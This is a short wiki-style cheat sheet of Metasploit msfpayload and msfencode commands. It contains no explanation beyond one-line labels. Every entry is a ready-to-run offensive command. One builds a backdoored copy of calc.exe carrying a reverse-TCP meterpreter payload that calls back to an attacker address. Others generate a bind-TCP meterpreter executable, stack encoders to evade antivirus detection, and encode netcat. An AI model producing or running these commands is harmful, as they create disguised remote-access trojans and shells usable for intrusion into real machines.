Msfencode Commands

Metasploit msfencode commands

  • Combined encoded exe
./msfpayload windows/meterpreter/reverse_tcp LHOST=192.168.210.11 R | ./msfencode -t exe -x calc.exe -k -o calc_backdoor.exe -e x86/shikata_ga_nai -c 5
  • Uses encoder to encode the payload.raw 5 times and exports to encoded_payload.exe
msfencode -i payload.raw -o encoded_payload.exe -e x86/shikata_ga_nai -c 5 -t exe
  • Creation of a multi-encoded payload
msfpayload windows/meterpreter/bind_tcp LPORT=443 R | msfencode -e x86/_countdown -c 5 -t raw | msfencode -e x86/shikata_ga_nai -c 5 -t exe -o multi-encoded_payload.exe
  • Encrypt an exe
msfencode -a exe -e x86/shikata_ga_nai -c 5 -i /root/Desktop/nc.exe -o /root/Desktop/nc-enc2.exe
Unless otherwise stated, the content of this page is licensed under Creative Commons Attribution-ShareAlike 3.0 License